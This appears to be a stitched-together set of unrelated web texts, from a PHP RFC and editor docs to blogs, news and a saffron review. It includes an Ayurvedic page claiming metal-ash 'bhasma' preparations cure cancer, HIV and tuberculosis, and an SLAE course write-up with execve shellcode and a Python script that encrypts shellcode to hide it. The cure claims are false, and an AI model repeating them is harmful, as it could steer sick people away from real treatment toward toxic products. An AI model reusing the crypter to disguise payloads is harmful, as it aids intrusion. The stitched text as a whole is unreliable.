- * Date: 2013-02-06
- * Author: Keyur Govande <_EMAIL_>
- * Status: Voting
- * First Published at: _URL_
-
-===== Introduction =====
-
-This RFC proposes a new way of setting a PHP CLI process's title that's visible in top or ps. The implementation is based based off the one in [[_URL_
-
-===== Implementation =====
-
-There already exists a PECL extension [[_URL_ that does something similar, but it is incomplete and might lead to memory corruption on Linux (or any OS which does not support [[_URL_
-
-The reason is the extension only has access to original argv[0] (that comes from main()). argv and environ(7) are in contiguous memory space on Linux. The extension presumes that argv[0] can accomodate 128 characters, but usually that is not possible because argv[0] is "php". When this happens, the extension will scribble on argv[1], argv[2], etc., and maybe even environ and this can have destructive side effects on the running program.
-
-The proposed patch does not suffer from the same issue. It works by hooking into PHP CLI's main(). An init method is the first function call made in main().
- * On Linux: The init method deep-copies argv and environ and these copies are returned to main() for use during the program. The original argv and environ are saved by init. This contiguous block is then used to store the the new title. The OS reads from argv[0] onwards when ps(1) or top(1) or /proc/<pid>/cmdline is called. An explanation is [[_URL_ here]]
- * On BSD without [[_URL_ support: Similar to Linux. A deep copy of argv is made and returned to main() for further use. The original argv[0] is pointed to a 256 character array block into which the title is copied over. argv[1] is set to NULL to indicate the 'end' of the argv array.
- * On systems with support for [[_URL_ OR pstat PSTAT_SETCMD or PS_STRINGS, we use these instead.
- * On Windows: the title is set as an Windows [[_URL_ It can be viewed using [[_URL_ Explorer]].
-
-Support for setting the title is also built into the cli-server SAPI.
-
-Note that it is not possible to use similar logic for other web-servers like Apache because we'd need to deep-copy and replace argv and environ before any real code has executed and such low-level access isn't possible there.
-==== Example ====
-
-<code php>
-<?php
-
-$title = "This is a test title";
-if (!is_cli_ps_title_available()) {
- echo "Not supported on this OS\n";
- exit(1);
-}
-
-if (!set_cli_ps_title($title)) {
- echo "Unable to set title\n";
- exit(2);
-}
-
-sleep(15);
-</code>
-
-The above example will output:
-
- * Linux: {{:rfc:linux_ps_title.png?200|}}
- * FreeBSD 9.0: {{:rfc:fbsd_ps_title.png?200|}}
- * Windows 7: {{:rfc:windows_ps_title.png?200|}}
-
-===== Patch =====
-
-The patch (including tests) is [[_URL_
-
-===== Voting =====
-
-The PHP language is not changed, so a 50% + 1 majority is required.
-
-===== Changelog =====
-
- * 1.0 (2012-02-06): Initial draft
rfc/cli_process_title.txt · Last modified: 2017/09/22 13:28 (external edit)


As anyone who has been to New New Trails recently will realize Rowan's latest passion in the animal kingdom is birds (hence the fact we are currently the proud owners of 2 geese, 3 guinea fowl, 6 chickens and 15 ducks).
In the past few months he has spent hours pouring over the bird pages of his animal encyclopedia committing to memory the names, territories and eating habits of every type of bird imaginable. He and his Dad have developed many new games around this interest including my personal favorite - the hook a duck game - where Rowan pretends to retrieve certain species of duck for his Dad (a game that can go on for hours).
It was therefore only fitting that we spent much of our trip to the UK observing birds at the various zoos that we went to as well as making special trips to wetland centers and bird houses. However the highlight of our bird related activities was a trip to a Bird of Prey Centre in Stirlingshire, Scotland. Rowan was fascinated by the different birds of prey (which included eagles, owls and buzzards) and spent hours watching them sitting nobly on their perches watching him right back. He was a little unsure about holding one of the birds himself but was very keen for me to do so and so once again through Rowan I was able to live out a dream of mine - holding one of these majestic birds.


-------- When you bind to a function key, you will see its value printed as a 'poundsign' sequence. And, if you wish to :map a function key, you will need to use its poundsign sequence. This is explained more fully below. The list of function key labels, along with their "vile name", are as follows: Usual Label Vile name Usual Label Vile name ----------- --------- ----------- --------- Up-arrow #A Home #H Down-arrow #B End #E Left-arrow #D Insert #i Right-arrow #C Delete #d Prior (PageUp) #p Find #f Next (PageDown) #n Select #s Help #? Menu #m F1 #1 F12 #@ F2 #2 F13 ## F3 #3 F14 #$ F4 #4 F15 #% F5 #5 F16 #^ F6 #6 F17 #& F7 #7 F18 #* F8 #8 F19 #( F9 #9 F20 #) F10 #0 F11 #! KeyPad_F1 #P KeyPad_F3 #R KeyPad_F2 #Q KeyPad_F4 #S In addition, #M, #t, and #T are used internally to support mouse operations in an xterm. To undo the relationship between a "system-defined" function key and the poundsign sequence it produces, use ":unmap-system-chars". :map, :map!, :noremap, :noremap! --------------------------------- The vi "map" and "map!" commands are implemented in vile. As in vi, mapping works best if the character sequence being bound corresponds to pressing a single key. Multiple key sequences will work as long as the next key in the sequence is pressed within a specified number of milliseconds. The value of "timeoutlen" is used for system-defined character sequences, i.e. function keys. User defined sequences will use this too, unless the value of "timeoutlen-user" is non-zero, in which case this value will be used instead. Because "map" and "map!" may be used to remap arbitrary sequences, these sequences must be entered literally, i.e, the syntax for key sequences as listed above will not work for "map" and "map!". To enter control characters into a .vilerc file, use the ^V escaping mechanism. A map command entered from the command line will require fewer characters be escaped with ^V. To provide a relatively portable way of specifying function key mappings, vile will reapply mapping to the result of a system- defined map. System function keys are mapped to "poundsign" sequences, like '#1' for function key 1, and '#B' for the down-arrow key. The remapping allows one to put map #1 in the .vilerc file, and have the user-sequence executed when the system F1 key is pressed. (Otherwise the terminal-specific sequence would have to appear in the .vilerc.) See the section on "Function Keys" above for a full list. The "remap" option controls whether the successfully mapped result of a map is reevaluated for more mapping matches. The "noremap" (and "noremap!") variants of the map commands will force that particular mapping to be applied without subsequent remapping, regardless of the current setting of the global "remap" setting. Since key sequences starting the '^X', '^A', or '#' prefixes are normally expected to act as a unit, no remapping is done on characters that follow such prefixes. For instance, this keeps a map like: :map h ihello from breaking the '^X-h' command. Long running loops caused by recursive :map definitions are detected and assumed to be infinite. When such a loop is detected, execution is aborted. Turning off the "remap" option, or doing some of the maps with the ":noremap/:noremap!" form of the map commands will eliminate most such loops. vile normally duplicates real vi's behavior (but not vim's) in that the first character of the sequence being mapped to is not subject to recursive (map) evaluation. Assuming "remap" is on, pressing 'j' when ":map j jh" is in effect will not cause an infinite loop, whereas ":map j hj" _will_ cause such a loop. Setting the "remapfirst" option will allow this sort of remapping (and will cause an infinite loops for both examples). The "maplonger" option controls whether the longer or shorter of two "nested" map strings will be favored by the editor. That is, if both "foo" and "foobar" are mapped (to presumably different values), then with "maplonger" set, vile will not expand "foo" until it is sure (either because the next character is not 'b', or a timeout has expired) that "foobar" will not be seen. Real vi will always expand "foo" immediately, and this is the default behavior. Though not particularly recommended, the "maplonger" mechanism even permits the following types of mappings: :map z j :map zz k When 'z' is pressed by itself it will cause vile to move down one line (assuming j has not been rebound or remapped). But if 'z' is pressed twice rapidly (enough) in succession, vile will move to the previous line. The left hand side of a map[!] definition may contain the usual backslash escapes: \n, \r, \t, \b, \f, \a (^G), \e (ESC), \s (SPACE), \xNN (hex), \NNN (octal). The right hand side is taken exactly literally, so special characters must be expressed as themselves. The current set of mappings or "map!"ings may be viewed with the commands ":map" (or ":show-mapped-chars") or ":map!" (or ":show-mapped!-chars"). The system-defined maps, representing the function keys, may be shown with ":show-system-mapped-chars". To undo a mapping, use "unmap", "unmap!", or "unmap-system-chars". :abbr ------ The "abbr" command is also present in vile. It is similar to, but slightly different than, "map!". Whereas "map!" examines characters as they are typed, continuously looking for a match against the stored translation strings, the "abbr" command examines them after they are already in the buffer, and is more sensitive to their surrounding context. First, abbreviations are never expanded unless followed by non-"word" characters. In addition, abbreviations which begin like a "word" (i.e. with letters, digits, or the '_' character) are not expanded if they immediately follow another "word" character -- they must follow whitespace or punctuation or the beginning of the line. Likewise, abbreviations that begin with a punctuation character are not detected within more punctuation -- they must follow whitespace or a "word", or the beginning of the line. If the "backspacelimit" setting is set (and it is, by default), then characters not inserted during the current insertion command are not considered in the above comparisons -- the start of the current insertion behaves much like the beginning of line in that case. Abbreviations are never recursive. vile is more lenient than vi regarding what is a valid abbreviation. vi insists that an abbreviation be all "word" characters, or be all "non-word" characters, except for the last character, which _must_ be a "word" character. vile allows anything at all to be abbreviated, only enforcing the expansion rules mentioned above. To undo an abbreviation, use "unabbreviate". Special "Terminal" Key Rebinding -------------------------------- In addition to the above binding mechanism for vile commands, other keystrokes to the editor are rebindable using the "set-terminal" command. These keystrokes are mostly derived directly from the user's tty settings on entering the editor, but there are a couple of additions related to command and filename completion. The values of these characters can be shown with the "show-terminal" command, and can be changed with the "set-terminal" command. Default value Typical value -----------------------------------------


text:
The Alberta Legislative Assembly Office operates a beautiful retail store called Alberta Branded. Each year they have a juried showcase around a specific theme and I have the honour of being one of ten Albertan artists who will create new works for this year's exhibition. The theme is Façonner, which means to shape, fashion or mould. New works will be created all year long and I'm eager to continue to explore the theme, allowing it to unfold and adapt over these next months. I'm also quite intrigued to see the works of the other artists and how they have approached the theme from their own medium and point of view!
Façonner: We shape to adapt a form, thereby directing a course. We fashion to reflect personal style and the current nature of the world. We mould to influence, creating a matrix. - Alberta Branded
The artwork I have created (and will continue to create this year) for Façonner is rooted in natural elements. Each piece is formed in response to the unfolding story I see revealed to us through Creation. Extracting basic lines and shapes from the intricate natural world, I explore an elemental approach to my experiences. Observing light, colours, shapes and lines, the subjects are deconstructed then fashioned into layered mixed media artworks. Natural materials (like birch bark and wildflowers collected to dye fabric and paper) are incorporated into each piece along with conventional materials (like acrylic, watercolour, paper and clay). The process of gathering and preparing materials allows me to infuse more of what I encounter into each work.
My story reflects the observations and reflections within the beauty of the Province of Alberta, including our five National Parks and my home in the Northern boreal forest. As I continue to witness the unfolding story around me, I am left with a peaceful clarity that has shaped my life. Reflecting these experiences and this clarity are integral parts of these works.


text:
by John Keston
Voice Lessons is an electronic, audio device that interrogates the popular myth that every musical instrument imitates the human voice. Touching the screen allows the participant to manipulate the visuals and vocalizations of the "voice teacher" as he recites vocal warm up exercises.
The piece resides in the space between a musical instrument and voice lesson. Move the touch point left, right, up, and down to explore the visual and auditory possibilities. Rapid high pitched loops occur while touching near the top of the screen while lower pitched longer loops are heard near the bottom.
The actor, also named John Keston, is the artist's retired father who became a voice teacher after a long career on stage in plays, operas, and musicals with the Royal Shakespeare Company in his native country England and abroad.
32" Interactive Touch Screen Installation (2011)
By John Keston while a graduate student at the Minneapolis College of Art and Design
Loading more stuff…
Hmm…it looks like things are taking a while to load. Try again?


text:
Despite its name and appearance, sacred bamboo, Nandina domestica, is not a bamboo, but a relative of Berberis. It is a compact shrub grown for its foliage, which emerges fiery red before turning fresh green, and then red again as autumn takes hold. It spreads by producing suckers.
Nandina are erect, evergreen shrubs with pinnate leaves composed of lance-shaped leaflets which colour well in autumn and small, star-shaped white flowers, followed by bright red fruits. It is native to eastern Asia from the Himalayas to Japan. Growing up to 2 m tall by 1.5 m wide, it produces numerous, usually unbranched stems, growing from ground level and . The glossy leaves are deciduous in colder areas.
There are a number of varieties of Nandina domestica suitable for bonsai cultivation including Nandina domestica 'Firepower' which has yellow and red leaves as opposed to the plain green leaves more common of the species. However they will always remain shrub like plants, attractive as companion plants but not classic bonsai.
Pests and diseases:
This species is mostly trouble free but can be affected by viruses which can distort foliage growth.
Web design: nysys


text:
Decode QR codes (and other 1D/2D barcode formats)
QRcode generation is well served in the Ruby community, but decoding seems to be stuck in the Java world. This is an attempt to bridge the gap by wrapping the ZXing library with JRuby. ZXing conveniently decodes a plethora of barcodes. Their site has a complete list.
gem install zxing
JRuby (tested with 1.5.6), OR
MRI (1.8.7 and 1.9.2) with jruby-jars gem
require 'zxing' # Pass a path to a file, and it will return the characters encoded within # the barcode image. For example, if a QRCode image has the text "QRcode # string" embedded: ZXing.decode '/Users/ecin/qrcode.png' #=> "QRcode string" # ZXing#decode_all returns an array of encoded values. For example if an # image has a barcode encoded with the value "test123" and another barcode # encoded with the value "test456": ZXing.decode_all 'image_with_multiple_barcodes.png' #=> ["test456", "test123"] # You can also decode a URL... ZXing.decode '_URL_ # or an instance of File ZXing.decode File.new('qrcode.png') # or anything that returns a URL or file path when _TAG_ is called on it. class Image attr_reader :path def initialize(path); _USER_ = path end end # ZXing#decode returns nil if it can't decode the image. ZXing.decode 'image_without_a_code.png' #=> nil # ZXing#decode! will raise an error if it can't decode the image. ZXing.decode! 'image_without_a_code.png' #=> raises ZXing::UndecodableError
A Decodable module is included (pun intended) to ease using the library with objects that return the URL or file path to decode when _TAG_ or _TAG_ is called.
require 'zxing/decodable' class File include Decodable end file = File.open('qrcode.png') file.decode


text: We study the effect of intuitive and reflective processes on cooperation using cognitive load. Compared with time constraint, which has been used in the previous literature, cognitive load is a more direct way to block reflective processes, and thus a more suitable way to study the link between intuition and cooperation. Using a repeated public goods game, we study the effect of different levels of cognitive load on contributions. We show that a higher cognitive load increases the initial level of cooperation. In particular, subjects are significantly less likely to fully free ride under high cognitive load.


text:
You should always externalize resources such as images and strings from your application
code, so that you can maintain them independently. Externalizing your
resources also allows you to provide alternative resources that support specific device
configurations such as different languages or screen sizes, which becomes increasingly
important as more Android-powered devices become available with different configurations. In order
to provide compatibility with different configurations, you must organize resources in your
res/ directory, using various sub-directories that group resources by type and
For any type of resource, you can specify default and multiple alternative resources for your application:
- Default resources are those that should be used regardless of the device configuration or when there are no alternative resources that match the current configuration.
- Alternative resources are those that you've designed for use with a specific configuration. To specify that a group of resources are for a specific configuration, append an appropriate configuration qualifier to the directory name.
For example, while your default UI
layout is saved in the
res/layout/ directory, you might specify a different layout to
be used when the screen is in landscape orientation, by saving it in the
directory. Android automatically applies the appropriate resources by matching the
device's current configuration to your resource directory names.
Figure 1 illustrates how the system applies the same layout for two different devices when there are no alternative resources available. Figure 2 shows the same application when it adds an alternative layout resource for larger screens.
The following documents provide a complete guide to how you can organize your application resources, specify alternative resources, access them in your application, and more:
- Providing Resources
- What kinds of resources you can provide in your app, where to save them, and how to create alternative resources for specific device configurations.
- Accessing Resources
- How to use the resources you've provided, either by referencing them from your application code or from other XML resources.
- Handling Runtime Changes
- How to manage configuration changes that occur while your Activity is running.
- A bottom-up guide to localizing your application using alternative resources. While this is just one specific use of alternative resources, it is very important in order to reach more users.
- Resource Types
- A reference of various resource types you can provide, describing their XML elements, attributes, and syntax. For example, this reference shows you how to create a resource for application menus, drawables, animations, and more.


text:
Steps of bhasmikaran
- "The sheets of metals are heated till red hot and are successively dipped into liquids like oil, buttermilk, cow's urine etc. The procedure is repeated seven times".
Literal and symbolic meaning of bhasma
The power of bhasma
Bhasma and tattwa shuddhi
Major Benefits of Abhrak Bhasma
- It finds its application in curing diseases like Hepatitis, Tuberculosis, Asthma and Plague.
- Abhrak Bhasma is also recommended for breathlessness due to chronic Bronchitis, Asthma, and even Chest Congestion. When taken in the initial stage of TB, it can completely cure it.
- It is beneficial to all the seven dhatus (energy elements) in the body.
- It rejuvenates the human mind.
- It improves blood circulation, improves the general tone of tissues and conductivity.
- It cures erectile dysfunction and impotency in men.
- Abhrak is hematinic, which means increases the count of red blood cells. This also increases oxygen carrying ability of the cells.
- It helps in curing jaundice and anemia.
- It restores damaged tissues and maintains their health.
- It is highly effective in cases of bone marrow depletion and hepatic dysfunction.
- It is effective in curing respiratory tract infections.
- It is beneficial for curing Bells Palsy and dysentery.
- It is beneficial in curing anemia, pernicious and azoospermia.
- Also, helps in controlling many types of veneral diseases like EBV, HIV, Lupus bronchitis and pneumonia.
- It cures breast cancer.
- It is also known to cure chronic hyperacidity like stomach-ache and vomiting with blood.
Major Benefits of Swarna Bhasma
- Swarna Bhasma improves resistance power in human body.
- It is responsible for boosting immunity and strengthening the human body.
- It can be used on a regular basis as an alterative and acts as a nerve tonic.
- Swarna Bhasma is excellent in treating Anemia, and chronic fever.
- Due to its gold base, it is helpful in improving complexion.
- Swarna Bhasma eradicates all chronic disorders, when used consistently.
- It is indicated in chronic fever, cough, Asthma, urinary disorders, sleeplessness and weak digestion.
- It strengthens weak muscles, debilities associated with old-age.
- It is excellent for treating Tuberculosis.
- It increases sexual power.
- Swarna Bhasma slows down the process of degeneration of tissues thus helps to prevent premature ageing.
- It helps prevent symptoms of ageing like wrinkles, dullness of skin, dark circles around the eyes, debility, fatigue, etc.
- Swarna Bhasma strengthens tissues and ligaments of the human body.
- It is highly effective in maintaining vigor, vitality and stamina.
- Hirak Bhasma is known the world over to make the human body stronger and the mind sharper.
- It is also recommended for the well-being of the human heart.
- It helps in toning the muscles of the heart.
- Its regular consumption as a tonic or an alterative, under medical prescription or supervision is known for toning the heart muscles.
- Hirak Bhasma also increases stamina, vitality and strength.
- It is highly effective against immunity disorders.
- It is known for curing Crippling Rheumatoid
- It is effective against Bone marrow depression and arthritis.
- Hirak Bhasma is also known to cure one of the most dangerous and lethal diseases known to mankind: cancer. When used in the initial stages, under medical supervision, it can cure cancerous cells.
- Ayurvedic formulary of India, 1978a
- Major Herbs of Ayurveda, Elizabeth M. Williamson. ISBN 0-443-07203-5
- CDC Morbidity and Mortality Weekly Report: Lead Poisoning Associated with Ayurvedic Medications — Five States, 2000–2003


Custom Shellcode Crypter – SLAE Exam Assignment #7
Assignment #7, and the final assignment, for the SLAE exam is to create a custom shellcode crypter.
Shellcode Crypter - Introduction
First, the requirements for assignment #7 were as follows.
Create a custom crypter like the one shown in the "crypters" video
Free to use any existing encryption scheme
Can use any programming language
In this case, I decided to use assembly as my programming language. This entire course was about assembly, so it felt funny to do the last assignment in another language completely. That said, I did end up writing my encryption script in Python. I originally wrote most of it in Assembly, but realized that it would be obnoxious to handle my printing and modification easily.
Using assembly instead of another language also affords me a few advantages.
 1. In theory, a bit faster and smaller than using another language
 2. More portable than a scripting language
 3. Could be used in an exploit directly, without having to drop a binary on the system
With the decision made, let's jump into my algorithm choice!
Tiny Encryption Algorithm
Due to my decision to write my decrypter in assembly, I had to find a fairly simple algorithm.
First, I attempted to go with AES, and use the AES-NI instructions. Unfortunately, this proved a little more difficult than I originally planned. Additionally, I wanted my code to work on all processors, even if they didn't support the instruction set.
After a bit more searching, I stumbled upon the Tiny Encryption Algorithm.
While not the most secure encryption algorithm, it is still decent enough for my use. That, and it is a fairly simple algorithm, taking only 11 lines of C code for the decrypt method.
For more information on the Tiny Encryption Algorithm, I highly recommend the following paper(s).
The XTEA algorithm is a bit more secure, but slightly longer and harder to code. As I wasn't going for the most secure algorithm, I figured that I would be fine with the original.
For reference, here is the decrypt method that I will be implementing in assembly.
void decrypt (uint32_t* v, uint32_t* k) {
 uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */
 uint32_t delta=0x9e3779b9; /* a key schedule constant */
 uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
 for (i=0; i<32; i++) { /* basic cycle start */
 v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
 v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
 sum -= delta;
 } /* end cycle */
 v[0]=v0; v[1]=v1;
}
Shellcode Crypter - Encryption Script
With my algorithm selected, it was time to write my encryption script.
As I mentioned before, I started out writing this in assembly as well. That said, when it came time to get my encrypted shellcode and output it cleanly, things got messy.
In that case, I ended up switching to Python.
You can find my script below, and I've commented it where necessary. All of the math isn't in the comments here, but you can find it in the decryption program's comments.
Also, the numpy uint32/int32 methods definitely saved me when it came to longs and wrapping around. That said, I'm not sure if I'm using them too often or not often enough. The encryption works as expected though, so that's good enough for me!
#!/usr/bin/python
import struct
import numpy as np
import warnings
# _URL_
def encrypt(data, key):
 delta = int("0x9e3779b9", 0)
 sum = np.int32(0)
 y = np.uint32(struct.unpack("I", data[0:4])[0])
 z = np.uint32(struct.unpack("I", data[4:8])[0])
 #print "Y: " + str(y)
 #print "Z: " + str(z)
 k0 = struct.unpack("I", key[0:4])[0]
 k1 = struct.unpack("I", key[4:8])[0]
 k2 = struct.unpack("I", key[8:12])[0]
 k3 = struct.unpack("I", key[12:16])[0]
 for n in range(0, 32):
 sum += delta
 sum = np.int32(sum)
 #print "SUM #" + str(n) + ": " + str(sum)
 q = ((z << 4) + k0) ^ (z + sum) ^ ((z >> 5) + k1)
 r = ((z << 4) + k0)
 s = z + sum
 t = ((z >> 5) + k1)
 #print "First sum: " + '0x{:08x}'.format(r % _PHONE_)
 #print "Second sum: " + '0x{:08x}'.format(s % _PHONE_)
 #print "XOR: " + '0x{:08x}'.format((r ^ s) % _PHONE_)
 #print "Second shift: " + '0x{:08x}'.format((z >> 5) % _PHONE_)
 #print "Key1: " + '0x{:08x}'.format((k1) % _PHONE_)
 #print "Third sum: " + '0x{:08x}'.format((t) % _PHONE_)
 #print "Final XOR: " + '0x{:08x}'.format((r ^ s ^ t) % _PHONE_)
 y += np.uint32(((z << 4) + k0) ^ (z + sum) ^ ((z >> 5) + k1))
 z += np.uint32(((y << 4) + k2) ^ (y + sum) ^ ((y >> 5) + k3))
 #print "FINAL SUM: " + '0x{:08x}'.format(sum % _PHONE_)
 #print '0x{:08x}'.format(y % _PHONE_)
 #print '0x{:08x}'.format(z % _PHONE_)
 #print k0
 #print k1
 #print k2
 #print k3
 return (y, z)
def main():
 # Execve-stack
 # _URL_
 shellcode = "\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
 # Randomly generated key
 key = "WQVh8{7C?gE_B<d$"
 crypted = []
 output = ''
 # Ignore all warnings
 # This is for the overflow occasionally caused by the unsigned integer addition
 warnings.filterwarnings("ignore")
 # Pad the shellcode length to be divisible by 8, makes encrypting/decrypting easier
 while not (len(shellcode) % 8 == 0):
 shellcode += "\x90"
 # Encrypt each word pair in the shellcode
 for x in range(0, len(shellcode) / 8):
 y, z = encrypt(shellcode[8*x:8*(x+1)], key)
 crypted.append(y)
 crypted.append(z)

 # Combine the shellcode into a printable string
 for word in crypted:
 output += ''.join(map(lambda c:'\\x%02x'%c, map(ord, struct.pack('L', word))))
 print "\nEncrypted Shellcode"
 print "Length: " + str(len(shellcode)) + " bytes"


text:
created 2001 · complexity basic · author Yegappan · version 5.7
To insert space characters whenever the tab key is pressed, set the
With this option set, if you want to enter a real tab character use Ctrl-V key sequence.
To control the number of space characters that will be inserted when the tab key is pressed, set the 'tabstop' option. For example, to insert 4 spaces for a tab, use:
'expandtab' option is set, all the new tab characters entered will be changed to spaces. This will not affect the existing tab characters. To change all the existing tab characters to match the current tab settings, use:
To change the number of space characters inserted for indentation, use the'shiftwidth' option:
For example, to get the following coding style,
- No tabs in the source file.
- All tab characters are 4 space characters.
use the following set of options:
:set tabstop=4 :set shiftwidth=4 :set expandtab
Add the above settings to your vimrc.
Since tabs effectively group spaces together, you may be tempted work with tabs than spaces and change individual lines selectively. To easily change a tab-based indent to use spaces instead when 'noexpandtab' is set, you can temporarily set 'expandtab' and use
:retab with a range. For example, to convert only the current line to use spaces, use
- Super retab to change only indents (whitespace at left margin)
- Highlight unwanted spaces to display unwanted whitespace
To turn off expandtab for editing makefiles, put the following in your vimrc:
autocmd FileType make setlocal noexpandtab
To use this mode only for Python add the following to your vimrc:
autocmd FileType * set tabstop=2|set shiftwidth=2|set noexpandtab autocmd FileType python set tabstop=4|set shiftwidth=4|set expandtab
This is what I use for Python:
autocmd BufEnter *.py set ai sw=4 ts=4 sta et fo=croql
I also add the following line:
set softtabstop=4 " makes the spaces feel like real tabs
This makes the backspace key treat the four spaces like a tab (so one backspace goes back a full 4 spaces).
It is possible to get vim to insert at the "true" start of the line with soft tabs, if you have:
I change these so frequently that I have keystrokes bound to switch between them:
" That awful mixed mode with the half-tabs-are-spaces: map \M :set noexpandtab tabstop=8 softtabstop=4 shiftwidth=4 " Mini tabs, small "m": map \m :set expandtab tabstop=2 shiftwidth=2 " Think "little tabs" and "big tabs": map \t :set expandtab tabstop=4 shiftwidth=4 map \T :set expandtab tabstop=8 shiftwidth=8
I use this to insert spaces at the beginning of a line and real tab characters elsewhere:
inoremap =(col('.') > (matchend(getline('.'), '^\s*') + 1))?'':''
If you're trying to figure out how it works and are confused by the thing: = asks for an expression, and the expression is entered as if it was typed, then the return value of the expression is inserted as if it too was typed - so, we want to insert , but if we just entered that into the expression, it would be converted to before the expression is executed - so, we have to enter into the expression, which will be converted to before the expression is executed, which will then become in the actual file.
I also remapped Shift-Tab so I could easily insert real tabs at the beginning of the line when necessary:
inoremap
Or (surely there is a better way?):
" make tab do tabs at beginning and spaces elsewhere function VaryTabs() if &expandtab return "\" else let nonwhite = matchend(getline('.'),'\S') if nonwhite < 0 || col('.') <= nonwhite return "\" else let pos = virtcol('.') let num = pos + &tabstop let num = num - (num % &tabstop) - pos +1 return repeat(" ",num) endif endif endfunction inoremap =VaryTabs()
Nice plugin: script#2308


text:
Thu November 17, 2011
EPA Takes Action Against Toxic Arizona Copper Plant
The Environmental Protection Agency has taken tough enforcement action against a copper smelter in Arizona that has drawn complaints about toxic pollution for years.
The unpublicized "finding of violation" issued against the Asarco copper smelter in Hayden, Ariz., claims the company has been continuously emitting illegal amounts of lead, arsenic and eight other dangerous compounds for six years.
The finding also suggests that the state of Arizona, which has primary responsibility for federal Clean Air Act enforcement in the state, has failed to take meaningful action.
The EPA revealed the existence of the Nov. 10 finding to NPR and The Center for Public Integrity (CPI) as they were concluding a joint, six-month-long investigation of air pollution and regulation in Hayden as part of the Poisoned Places series.
In a statement to NPR and CPI, Asarco says the EPA's finding is "unexpected" and promises a vigorous challenge.
"Our smelter is in compliance with its air permit," writes Tom Aldrich, an Asarco spokesman. "Asarco works closely with its regulators and proactively seeks innovations as science evolves and environmental laws and rules are updated."
Henry Darwin, director of the Arizona Department of Environmental Quality, also says that Asarco does not exceed federal emissions standards.
"I think it's a clear attempt by EPA to make it seem as if the state has done nothing," Darwin says. His agency is responsible for issuing federal air pollution permits in the state. "We have no reason to believe that [Asarco] has crossed that [pollution] threshold."
He dismisses the EPA's action as a "paperwork violation."
But the EPA also notified Arizona Gov. Jan Brewer (R) last week that Asarco has emitted excessive amounts of lead this year. In a letter provided to NPR and CPI, the EPA says its monitors detected lead at two to three times federal limits on some days during 2011.
The EPA also says its team of environmental forensics investigators spent six months testing and analyzing emissions at Asarco.
"There is no simple paperwork violation," says Jared Blumenfeld, EPA's administrator for the region that includes Arizona. "This is a question of whether a large facility that smelts copper has the controls necessary to deal with lead emissions."
Hayden is a poor, largely Hispanic community of 900 people with a long history of copper smelting and complaints about toxic emissions.
"I remember clouds of blue smoke coming down into the playgrounds in the community and coughing and your eyes burning," recalls Manny Armenta, 56, who represents union workers at Asarco.
Betty Amparano has two children who have tested positive for excessive levels of lead. She filed a lawsuit more than a decade ago and 200 neighbors eventually joined in. Asarco settled in 2005 during a bankruptcy and paid out about $10,000 per family.
Three years ago, the EPA ordered Asarco to remove and replace the soil from more than 200 yards in Hayden after finding soil contaminated with lead and arsenic.
"Why the hell did you take so long?" Amparano asks of the EPA's most recent action. "I'm tired of dealing with death after death after death."
Asarco insists its emissions are not responsible for health problems in Hayden.
The EPA says it hopes the company will voluntarily install expensive new pollution controls. The company faces millions of dollars in fines, which are typically reduced if the company agrees to comply. Legal action is also possible if Asarco does not take steps to limit its toxic emissions.
A separate process is underway that directly targets Asarco's lead emissions. It could take five years or more to force cutbacks in lead.
"It's not like it's a water faucet that gets shut off and that's it," says Jill Corona, Amparano's daughter and a photographer now living in Tempe, Ariz. She worries about the rest of the family still living in Hayden. "I just want someone to tell me that Hayden is a safe place to live and I don't want to wait more than five years."
Jim Morris of the Center for Public Integrity contributed to this report. Additional reporting from this series — including an interactive map that lets you explore facilities that are emitting toxic chemicals in your town — is available on NPR's Poisoned Places page.


Top
Orasense
Crocus species are mainly distributed in North Africa, Southern and Central Europe, and Western Asia, used in gardens and parks as ornamental plants, while Crocus sativus L. (saffron) is the only species that is cultivated for edible purpose. The use of saffron is very ancient; besides the use as a spice, saffron has long been known also for its medical and coloring qualities. Due to its distinctive flavor and color, it is used as a spice, which imparts food preservative activity owing to its antimicrobial and antioxidant activity.
This updated review discusses the biological properties of Crocus sativus L. and its phytoconstituents, their pharmacological activities, signaling pathways, and molecular targets, therefore highlighting it as a potential herbal medicine. Clinical studies regarding its pharmacologic potential in clinical therapeutics and toxicity studies were also reviewed. For this updated review, a search was performed in the PubMed, Science, and Google Scholar databases using keywords related to Crocus sativus L. and the biological properties of its phytoconstituents. From this search, only the relevant works were selected.
The phytochemistry of the most important bioactive compounds in Crocus sativus L. such as crocin, crocetin, picrocrocin, and safranal and also dozens of other compounds was studied and identified by various physicochemical methods. Isolated compounds and various extracts have proven their pharmacological efficacy at the molecular level and signaling pathways both in vitro and in vivo. In addition, toxicity studies and clinical trials were analyzed. The research results highlighted the various pharmacological potentials such as antimicrobial, antioxidant, cytotoxic, cardioprotective, neuroprotective, antidepressant, hypolipidemic, and antihyperglycemic properties and protector of retinal lesions. Due to its antioxidant and antimicrobial properties, saffron has proven effective as a natural food preservative.
Starting from the traditional uses for the treatment of several diseases, the bioactive compounds of Crocus sativus L. have proven their effectiveness in modern pharmacological research. However, pharmacological studies are needed in the future to identify new mechanisms of action, pharmacokinetic studies, new pharmaceutical formulations for target transport, and possible interaction with allopathic drugs.
Introduction
The genus Crocus is a member of the Iridaceae (subfamily Crocoideae) and consists of about 100 species that occur in the wild. These are mainly found in central-southern Europe (Balkan Peninsula), North Africa, and Western Asia . Several species of this genus are currently used in gardens and parks as ornamental plants for their colorful flowers, while Crocus sativus L. (saffron) is the only species that is cultivated for the edible purpose.
The use of saffron is very ancient: its earliest representation appeared approximately 4000 years ago in some paintings and ceramics of the Minoan civilization in the region of Crete. The stigmas from flowers are traditionally handpicked at dawn to preserve all the aroma and organoleptic characteristics. Then the stigmas are dried in the shade and finally powdered. Due to its distinctive flavor and yellow-orange color, it has an ancient use as spice in Arab, European, Indian, and Persian cuisine. It is also used in liquors, candies, food supplements, and medical and coloring qualities.
